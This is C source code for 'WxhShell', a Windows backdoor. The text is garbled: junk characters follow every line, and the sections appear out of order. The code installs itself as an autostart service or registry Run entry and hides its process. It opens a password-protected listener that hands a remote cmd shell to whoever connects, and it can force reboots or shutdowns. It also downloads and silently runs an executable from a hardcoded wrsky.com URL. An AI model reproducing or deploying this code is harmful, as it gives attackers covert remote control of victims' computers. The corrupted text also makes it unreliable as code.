    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SuW_[6 ]  
    if(Boot(SHUTDOWN)) vrIM!~*W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hv1d4U"qM  
    else { # 1,(I  
    closesocket(wsh); a4! AvG  
    ExitThread(0); EkqsE$52  
    } `W[oLQ  
    break; rT ~qoA\  
    } u]ZCYJ>  
  // 获取shell N*My2t_+E  
  case 's': { _dq.hW7  
    CmdShell(wsh); /Et:',D  
    closesocket(wsh); #3u;Ox  
    ExitThread(0); HtIM8z#/  
    break; ~>ACMO  
  } 4>Q6!"  
  // 退出 NPEs0|  
  case 'x': { vV| u+v{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9oY%v7  
    CloseIt(wsh); h7  >  
    break; p9 |r y+t  
    } Rj% q)aw'  
  // 离开 }o? @  
  case 'q': { DP*[t8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W6~B~L  
    closesocket(wsh); 7@rrAs-"Z  
    WSACleanup(); fN>o465I6  
    exit(1); j4Cad  
    break; ?!-2G  
        }  $3%EKi  
  } I/MYS5}  
  } K$\]\qG6  
VHB5  
  // 提示信息 A=|&N%lP'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O&irgc!  
} 0*8[m+j1  
  } y:Qo:Z~  
#G^?4Z a  
  return; r/fLm8+  
} U)+Yh  
}} l04kN_  
// shell模块句柄 -pc*$oe  
int CmdShell(SOCKET sock) BxO8oKe  
{ i%0Ml:Y  
STARTUPINFO si; $q{-)=-BXQ  
ZeroMemory(&si,sizeof(si)); rRL:]%POT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SUfl`\O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +kQ$X{+;8  
PROCESS_INFORMATION ProcessInfo; Ah28D!Gor  
char cmdline[]="cmd"; 4jj@"*^a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k| nv[xY0  
  return 0; c ++tk4  
} .QzHHW4&0  
*9((b;Ju  
// 自身启动模式 Yyby 1  
int StartFromService(void) W[: n*h  
{ {KE858  
typedef struct $AUC#<*C  
{ _bn*B$  
  DWORD ExitStatus; p^A9iieHp=  
  DWORD PebBaseAddress; 4r5?C;g  
  DWORD AffinityMask; zN {'@B  
  DWORD BasePriority; gz-}nCSi  
  ULONG UniqueProcessId; Y+sycdq  
  ULONG InheritedFromUniqueProcessId; c63DuHA*C  
}   PROCESS_BASIC_INFORMATION; Y|g8xkI}XB  
'$PiyM|V  
PROCNTQSIP NtQueryInformationProcess; Qhsh{muw(  
Y: oL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CbA!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :}v&TQ  
 ">*PH}b  
  HANDLE             hProcess; ,D3?N2mB  
  PROCESS_BASIC_INFORMATION pbi; mHUQtGAVQ  
Pp6(7j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); me#VCkr#  
  if(NULL == hInst ) return 0; _JiB=<Fkr  
xf?*fm?m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y'`w.+9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CYmwT>P+*4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {xp/1? Mo*  
vZmM=hW~  
  if (!NtQueryInformationProcess) return 0; U|={LU  
#)2'I`_E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3VbMW,_&"  
  if(!hProcess) return 0; f3]Z22Yq  
r:2G11[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zx7Y ,0  
V.6h6B!vB  
  CloseHandle(hProcess); p@y?xZS  
%:sQ[^0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DZ |0CB~  
if(hProcess==NULL) return 0; +dcBh Dq  
>fPa>[_1  
HMODULE hMod; 9"K EHf!  
char procName[255]; +ZEj(fd9  
unsigned long cbNeeded; #TM+Vd$  
Lf{9=;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /mX/ "~  
_$]3&P  
  CloseHandle(hProcess); ] hGU.C"(  
u;GS[E4  
if(strstr(procName,"services")) return 1; // 以服务启动 #!l\.:h%  
V<Q''%k  
  return 0; // 注册表启动 LWuciHfd+  
} V6B`q;lA  
) RS*MEgA  
// 主模块 Va"Q1 *"  
int StartWxhshell(LPSTR lpCmdLine) %{WS7(si  
{ 9}p?h1NrY  
  SOCKET wsl; J wL}|o6  
BOOL val=TRUE; GSIRZJl  
  int port=0; oW3j|V  
  struct sockaddr_in door; I{U7BZy  
gE]6]L  
  if(wscfg.ws_autoins) Install(); D]\of#%T  
V}o`9R@tx}  
port=atoi(lpCmdLine); V6P2W0 m  
_o/LFLq  
if(port<=0) port=wscfg.ws_port; Gjf b<  
=VFi}C/  
  WSADATA data; S<H 2e{~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^pruQp1X  
+sq'\Tbp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vg[A/$gLM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zvz Zs  
  door.sin_family = AF_INET; Jw3VWc ]]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UKV0xl  
  door.sin_port = htons(port); YEH /22  
p'{B|ujj6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oJb${k<3  
closesocket(wsl); \H^DiF%f9  
return 1; r==d^  
} IcRA[ g  
d$qivct  
  if(listen(wsl,2) == INVALID_SOCKET) { f]%:.N~1w  
closesocket(wsl); =jXBF.  
return 1; jYDpJ##Zb  
} q{T [|(!  
  Wxhshell(wsl); f?vbIc`  
  WSACleanup(); @lpo$lN0R  
Htl2CcZ  
return 0; {o1 vv+i  
 @oE^(  
} AX($LIy9P  
g2 7 iE  
// 以NT服务方式启动 )#S;H$@$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nSY3=Edx=  
{ ]Fi_v?42x  
DWORD   status = 0; Q*4{2oQ  
  DWORD   specificError = 0xfffffff; )E9[=4+*C$  
UMtnb:ek  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  ac  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8J|2b; Vf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nz/PAs7g6  
  serviceStatus.dwWin32ExitCode     = 0; JBqL0H  
  serviceStatus.dwServiceSpecificExitCode = 0; U'~M(9uv:  
  serviceStatus.dwCheckPoint       = 0; J5dwd,FQ  
  serviceStatus.dwWaitHint       = 0; s krdL.5  
by07l5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uCkXzb9_z  
  if (hServiceStatusHandle==0) return; e}lF#$  
tVfZ~q J  
status = GetLastError(); ) uM*`%  
  if (status!=NO_ERROR) u}I-#j)wap  
{ R !&9RvNw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8XfhXm>~  
    serviceStatus.dwCheckPoint       = 0; 3( &k4  
    serviceStatus.dwWaitHint       = 0; dfy]w4ETB  
    serviceStatus.dwWin32ExitCode     = status; &/dYJv$[9  
    serviceStatus.dwServiceSpecificExitCode = specificError; mok94XuK)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m\zCHX#n  
    return; xER-TT #S  
  } |"]#jx*8KC  
{Kh^)oYdd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fnqj^5  
  serviceStatus.dwCheckPoint       = 0; z)tULnR8  
  serviceStatus.dwWaitHint       = 0; df\^uyD;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -gn!8G1  
} -S\gDB bb  
HxUJ 0Q  
// 处理NT服务事件,比如:启动、停止 ,9,cN-/a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P^(uS'j)+  
{ \_io:{M  
switch(fdwControl) ^VI\:<\{  
{ g'X{  
case SERVICE_CONTROL_STOP: 88x2Hf5I  
  serviceStatus.dwWin32ExitCode = 0; "L4ZE4|)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %CoO-1@C  
  serviceStatus.dwCheckPoint   = 0; )FQxVT,.  
  serviceStatus.dwWaitHint     = 0; c r,fyAvX  
  { Qg6tJB   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xAwP  
  } af@R\"N9c  
  return; ZR]p7{8B  
case SERVICE_CONTROL_PAUSE: W3+;1S$k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Ev)Hk  
  break; g)!d03Qoy  
case SERVICE_CONTROL_CONTINUE: \jmT#Gt`9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?,}:)oA_  
  break; inHlL  
case SERVICE_CONTROL_INTERROGATE: a``/x_EZMn  
  break; &s#OiF8  
}; mUan(iJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *""iXi[  
} hKVb#|$  
= }ELu@\V[  
// 标准应用程序主函数 s4uZ>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <) cJz  
{ &?@gCVNO,  
[L>mrHqG  
// 获取操作系统版本 r\A|fiL  
OsIsNt=GetOsVer(); ppuJC ' GW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y sDai<  
%y)]Q|  
  // 从命令行安装  sWyx_  
  if(strpbrk(lpCmdLine,"iI")) Install(); F4NM q&_  
'QSj-  
  // 下载执行文件 =Q,D3F -+f  
if(wscfg.ws_downexe) { bV$g]->4e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uK%0,!q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?%cZO "  
} g& ou[_A  
/Qu<>#[?  
if(!OsIsNt) { L,yq'>*5s  
// 如果时win9x,隐藏进程并且设置为注册表启动 5{gv \S1  
HideProc(); }wB!Bx2  
StartWxhshell(lpCmdLine); \zh`z/=92  
} : ]JMsa6  
else )Vz=:.D  
  if(StartFromService()) 3qQ}U}-;|  
  // 以服务方式启动 _RNP_$a  
  StartServiceCtrlDispatcher(DispatchTable); Py`7)S  
else |Ed?s  
  // 普通方式启动 w1EB>!<;tj  
  StartWxhshell(lpCmdLine); Zd| u>tn  
E]Q d5l  
return 0; WN $KS"b6}  
} V~_6t{L  
Alv"D  
8UzF*gS  
Xz?7x0)Z  
=========================================== !q~f;&rg  
1! j^  
hzk4SOT(  
xyP 0haE  
},=ORIB B:  
N(e>]ui  
" a51}~V1  
)j QrD`  
#include <stdio.h> iu9+1+-  
#include <string.h> QYj*|p^x  
#include <windows.h> Y .E.(\  
#include <winsock2.h> ]DUmp6  
#include <winsvc.h> q>s`G  
#include <urlmon.h> 8%`h:fE  
%J+ w9Z  
#pragma comment (lib, "Ws2_32.lib") F0wW3+G  
#pragma comment (lib, "urlmon.lib") -k  }LW4  
TyvUdU  
#define MAX_USER   100 // 最大客户端连接数 Qe0?n  
#define BUF_SOCK   200 // sock buffer _H@8qR  
#define KEY_BUFF   255 // 输入 buffer (QdLz5\  
[s[!PlazX  
#define REBOOT     0   // 重启 )xL_jSyh  
#define SHUTDOWN   1   // 关机 Y>{%,d#s_  
E#A}2|7,g  
#define DEF_PORT   5000 // 监听端口 [s+FX5'K  
:j#zn~7  
#define REG_LEN     16   // 注册表键长度 6FX]b4  
#define SVC_LEN     80   // NT服务名长度 (tF/2cZk  
RWB]uHzE  
// 从dll定义API P_P~c~o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V#B'm?aQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yjOZed;M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k~2FlRoC^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tI  
7H4\AG\>  
// wxhshell配置信息 @nnX{$YX  
struct WSCFG { 6o^O%:0g  
  int ws_port;         // 监听端口 v5I5tzt*%H  
  char ws_passstr[REG_LEN]; // 口令 L*P*^I^1  
  int ws_autoins;       // 安装标记, 1=yes 0=no )+"(7U<  
  char ws_regname[REG_LEN]; // 注册表键名 1]W8A.ZS  
  char ws_svcname[REG_LEN]; // 服务名 f7a"}.D $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [U$`nnp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3t5W wrNh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e +jp,>(v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &?I3xzvK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BwYR"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H? %I((+  
bo??9 1B^7  
}; "HLh3L~  
5>:p'zI  
// default Wxhshell configuration Va4AE)[/*  
struct WSCFG wscfg={DEF_PORT, -j^G4J  
    "xuhuanlingzhe", _QtW)\)5 \  
    1, o9v.]tb  
    "Wxhshell", w uhL r(  
    "Wxhshell", { )4@rM  
            "WxhShell Service", 8SBa w'a  
    "Wrsky Windows CmdShell Service", )7m.n%B!5V  
    "Please Input Your Password: ", KhPDXY]!  
  1, >w1jfpQ@t$  
  "http://www.wrsky.com/wxhshell.exe", 6|Crc$4l  
  "Wxhshell.exe" "Z"`X3,-z  
    };  "2 }n(8  
Q@s G6 iz  
// 消息定义模块 {\ VmNnw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /AIFgsaY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; X/'ujg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^fU,9  
char *msg_ws_ext="\n\rExit."; }]pOR&o  
char *msg_ws_end="\n\rQuit."; 0Rn`63#  
char *msg_ws_boot="\n\rReboot..."; "VeNc,-nfQ  
char *msg_ws_poff="\n\rShutdown..."; B~3qEdoK5`  
char *msg_ws_down="\n\rSave to "; aSeh?2n8  
HmV JkkksJ  
char *msg_ws_err="\n\rErr!"; #b1/2=PA  
char *msg_ws_ok="\n\rOK!"; ai)?RF  
lC^?Jk[N  
char ExeFile[MAX_PATH]; ZO\bCrk  
int nUser = 0; (DM8PtZg  
HANDLE handles[MAX_USER]; d 8z9_C-  
int OsIsNt; ^izf&W.j!  
?`B6I!S0[  
SERVICE_STATUS       serviceStatus; +7t:/_b~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S3dcE"hg  
Egl1$,e  
// 函数声明 i;#AW($+a  
int Install(void); E;r~8^9)  
int Uninstall(void); ,27=i>>  
int DownloadFile(char *sURL, SOCKET wsh); } d7o-  
int Boot(int flag); 2yV {y#\   
void HideProc(void); VjSA& R  
int GetOsVer(void); s3)T}52  
int Wxhshell(SOCKET wsl); >kV=h?]Y  
void TalkWithClient(void *cs); H"rIOoxf  
int CmdShell(SOCKET sock); Bs-MoT!  
int StartFromService(void); ."j*4  
int StartWxhshell(LPSTR lpCmdLine); ZQ~EaI9R  
.a|ROjd!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XOzZtt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n{E + r  
jAD{?/RB}  
// 数据结构和表定义 HF%)ip+  
SERVICE_TABLE_ENTRY DispatchTable[] = 'L6+B1Op  
{ PLWx'N-kqL  
{wscfg.ws_svcname, NTServiceMain}, &&n-$WEl  
{NULL, NULL} M5B?`mTl  
}; lJ<( mVt  
N4, !b_1  
// 自我安装 )eWg2w]  
int Install(void) t2z@"e   
{ ":^cb =  
  char svExeFile[MAX_PATH]; d\rs/ee  
  HKEY key; !xD_=O  
  strcpy(svExeFile,ExeFile); ,,(BW7(  
SVT'fPm1M  
// 如果是win9x系统,修改注册表设为自启动 }/z\%Y  
if(!OsIsNt) { wk6tdY{&s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uX,ln(9I*H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @,TCg1@QJ  
  RegCloseKey(key); btB> -pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K9UWyM<(2C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :sek MNM  
  RegCloseKey(key); >c@1UEwkm  
  return 0; y7#vH<  
    } y &%2  
  } dRLvej,  
} 0bG2YMs  
else { PciiDh~/  
ON$-g_s>)  
// 如果是NT以上系统,安装为系统服务 Z65]|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &M+fb4:_  
if (schSCManager!=0) e@L7p,  
{ +DP{_x)t  
  SC_HANDLE schService = CreateService Z+x`q#ZQr  
  ( .Ue1}'v*,  
  schSCManager, Psu*t%nQ?A  
  wscfg.ws_svcname, 24/ ^_Td  
  wscfg.ws_svcdisp, 5I@2UvV8  
  SERVICE_ALL_ACCESS, }5Pzen  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qn@:A2e d  
  SERVICE_AUTO_START, 2;=xH t  
  SERVICE_ERROR_NORMAL, <7sGA{  
  svExeFile, !4 G9`>n  
  NULL, nK|WzUtp  
  NULL, ZIM 5$JdCv  
  NULL, ?!kPW^gD  
  NULL, eMDraJv@  
  NULL vh^,8pPy  
  ); VBI~U?0  
  if (schService!=0) b$'}IWNV  
  { 626 !6E;T  
  CloseServiceHandle(schService); (SYSw%v$A  
  CloseServiceHandle(schSCManager); <f`G@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - AxO1 qO  
  strcat(svExeFile,wscfg.ws_svcname); [O(8iz v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ].<B:]:,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @I|gA  
  RegCloseKey(key); bT{iei]?  
  return 0; F]~>qt<ia  
    } Wi(Ac8uh  
  }  uvf}7  
  CloseServiceHandle(schSCManager); O9]+Jd4W  
} (lVHKg&U[  
} m339Y2%=  
-V)DKf"f  
return 1; -:o4|&g<*  
} P ||:?3IH  
[Dq!t1  
// 自我卸载 Qtpw0t"  
int Uninstall(void) DZ Q=Sinry  
{ Ljjuf=]  
  HKEY key; BSB;0OM  
G\ht)7SGgf  
if(!OsIsNt) { ~1v5H]T{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b$:<T7vei  
  RegDeleteValue(key,wscfg.ws_regname); <)\  
  RegCloseKey(key); 7}e73  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.2#G"|  
  RegDeleteValue(key,wscfg.ws_regname); 8%wu:;*]%  
  RegCloseKey(key); /2e&fxxD  
  return 0; lUd;u*A  
  } 9vZD?6D,n  
} N8^ AH8l  
} >ps=z$4j*  
else { Qs5^kddz=  
<r'l5|er  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^xwnX=Np  
if (schSCManager!=0) usR: -1{  
{ e1 j3X\ \  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9c@."O`  
  if (schService!=0) 3,<$z1Jm  
  { |8m;}&r$  
  if(DeleteService(schService)!=0) { s8/y|HN^  
  CloseServiceHandle(schService); ;NHZD  
  CloseServiceHandle(schSCManager); ;L458fYs  
  return 0; T!*lTzNHm  
  } 6RLYpQ$+  
  CloseServiceHandle(schService); S3iXG @  
  } ~S,R`wo  
  CloseServiceHandle(schSCManager); /RzL,~]  
} ? 2#MU  
} (93+b%^[  
z"n7du}v  
return 1; V6C*d:  
} =x/Ap1  
O:Ixy?b;Z  
// 从指定url下载文件 nM1F4G  
int DownloadFile(char *sURL, SOCKET wsh) `"/s,"c:D  
{ *+ql{\am4N  
  HRESULT hr; ?B"k9+%5ej  
char seps[]= "/"; ""JTU6]MS  
char *token; 8i=c|k,GL.  
char *file; >vPDF+u  
char myURL[MAX_PATH]; *?a rEYc8  
char myFILE[MAX_PATH]; b!7*bFTt  
5mxYzu;#]  
strcpy(myURL,sURL); u._B7R&>  
  token=strtok(myURL,seps); `EUufTYi  
  while(token!=NULL) #MyR:V*a  
  { ,u1Yn}  
    file=token; W/3,vf1  
  token=strtok(NULL,seps); 7 )`U%}R  
  } +M"Fv9  
2+7r Lf`l  
GetCurrentDirectory(MAX_PATH,myFILE); em+dQ15  
strcat(myFILE, "\\"); N<|_tC+ct  
strcat(myFILE, file); G98P<cyD  
  send(wsh,myFILE,strlen(myFILE),0); wsnR$FhQ`  
send(wsh,"...",3,0); ok"v`76~f5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [zO:[i 7  
  if(hr==S_OK) 9Q<8DMX^  
return 0; Nm.H  
else K\7\  
return 1; [<+A?M=  
5v f?E"\r  
} Vy:I[@6@+  
!y&uK&1  
// 系统电源模块 ,dTRM  
int Boot(int flag) 3 ?1qI'5  
{ (}W+W\.  
  HANDLE hToken; a5/6DK>  
  TOKEN_PRIVILEGES tkp; b1(7<o  
3 %ppvvQ  
  if(OsIsNt) { F3XB};  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4;]<#u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1VlRdDg  
    tkp.PrivilegeCount = 1; 4$);x/ a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7hs1S|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J|9kWjOf+i  
if(flag==REBOOT) { X0\2qD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -bN;nSgb  
  return 0; OT*C7=  
} q`HuVilNH  
else { _.9):i2<SF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x}Y  
  return 0; -VqZw&"  
} tai=2,'  
  } TN xl?5:  
  else { uANG_sX^n  
if(flag==REBOOT) { jT~PwDSFt3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6zmt^U   
  return 0; .^aakM  
} MM}lW-q;  
else { *&f^R}O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  kYls jM  
  return 0; 0pO{{F  
} T<hS  
} s$cr|p;7#  
'MM%Sm,  
return 1; 9Q~9C9{+  
} Mbj{C  
q#{.8H-X'  
// win9x进程隐藏模块 pO^PkX  
void HideProc(void) Tz\ PQ)!  
{ 64)Fz}  
laR cEXj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Tz$ona  
  if ( hKernel != NULL ) a.n;ika]-  
  { FeW}tKH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B6N/nCvHK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n{d0}N =  
    FreeLibrary(hKernel); tx,_0[hZi  
  } 9j0Hvo%T  
{|KFgQ'\  
return; V`c"q.8  
} e\0vphS6  
DzfgPY_Py  
// 获取操作系统版本 YXJreM5  
int GetOsVer(void) 6x'F0{U  
{ <Km ^>9  
  OSVERSIONINFO winfo; ~4 ~c+^PF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TY."?` [FK  
  GetVersionEx(&winfo); 7L%JCH#F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \k DQ[4mGq  
  return 1; y:Wq;xEiDo  
  else ~[_u@8l!mN  
  return 0; {7k Jj(Ue  
} ;6 ?a8t@  
@q98ac*{  
// 客户端句柄模块 9nM_LV  
int Wxhshell(SOCKET wsl) /|<Pn!}J  
{ ,Wv@D"4?  
  SOCKET wsh; (yx^zW7  
  struct sockaddr_in client; S!Alno  
  DWORD myID; q9e(YX>  
&d%\&fCm(  
  while(nUser<MAX_USER) q,i&%  
{ *^ZJ&.  
  int nSize=sizeof(client); J!{t/_aw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eD|p1+76  
  if(wsh==INVALID_SOCKET) return 1; YiO3.+H  
,4Q1[K35B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3WVH8Sb  
if(handles[nUser]==0) Fy; sVB  
  closesocket(wsh); fH@P&SX  
else ty"|yA  
  nUser++; r}**^"mFy  
  } XIGz_g;#'w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H*m3i;"4p\  
B\73 Vf  
  return 0; kB)u@`</mV  
} h SeXxSb:  
?*zDsQ  
// 关闭 socket l&/V4V-  
void CloseIt(SOCKET wsh) GM~Ek] 9C%  
{ z#[PTqD-_  
closesocket(wsh); |rgp(;iO  
nUser--; 3s]aXz:  
ExitThread(0); <2n5|.:>  
} ?XlPK Y  
{\WRW}iO  
// 客户端请求句柄 2;wp D2  
void TalkWithClient(void *cs) >1}@Q(n/}{  
{ o2 ;  
kqH:H~sgD  
  SOCKET wsh=(SOCKET)cs; eh39"s  
  char pwd[SVC_LEN]; 0.aIcc  
  char cmd[KEY_BUFF]; qj7 }]T_  
char chr[1]; W?F Q  
int i,j; [u $X.=(  
dwpE(G y6c  
  while (nUser < MAX_USER) { RoFOjCc>D.  
WYUel4Z  
if(wscfg.ws_passstr) { (GW"iL#.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `<Q[$z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kl~)<,/@  
  //ZeroMemory(pwd,KEY_BUFF); UkTq0-N;2  
      i=0; Ke;eI+P[  
  while(i<SVC_LEN) { z/I\hC9i  
,M.phRJ-`  
  // 设置超时 }Q?a6(4  
  fd_set FdRead; K1+4W=|  
  struct timeval TimeOut; Ob&m&2s,  
  FD_ZERO(&FdRead); KB"N',kG  
  FD_SET(wsh,&FdRead); 9Q.@RO$%C  
  TimeOut.tv_sec=8; ;*G';VuT  
  TimeOut.tv_usec=0; M!/!*,~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &RHZ7T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mDXG~*1   
j S4\;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /V {1Zw=  
  pwd=chr[0]; bess b>=  
  if(chr[0]==0xd || chr[0]==0xa) { -d.i4X3j  
  pwd=0; Ei7Oi!1  
  break; +8|9&v`  
  } Ox5Es  
  i++; *N |ak =  
    } TE5J @I  
tb^/jzC  
  // 如果是非法用户,关闭 socket 4J1_rMfh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j8G$,~v  
} GBl[s,g[|  
oF~+L3&X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |ms.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xw#"?B(M]  
6lPuYEmT  
while(1) { Pav W@  
kz/"5gX:  
  ZeroMemory(cmd,KEY_BUFF); 8RI'Fk{  
VaW^;d#  
      // 自动支持客户端 telnet标准   %Z3B9  
  j=0;  6oI/*`>  
  while(j<KEY_BUFF) { _o T+x%i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =fy\W=c  
  cmd[j]=chr[0]; `6P2+wf1j~  
  if(chr[0]==0xa || chr[0]==0xd) { aX2N Qq>s  
  cmd[j]=0; R.\]JvqO  
  break; 1=h5Z3/fj  
  } KO\-|#3y>  
  j++; ~: fSD0  
    } Ou4 `#7FR  
%>y`VN D  
  // 下载文件 AtUtE#K  
  if(strstr(cmd,"http://")) { m5o$Dus+?'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i-ww@XOQ  
  if(DownloadFile(cmd,wsh)) (HXKa][T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZ| !'  
  else UcKVL zKs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MH|F<$42  
  } ^`[<%.  
  else { XtQwLH+F  
 "D'rsEh  
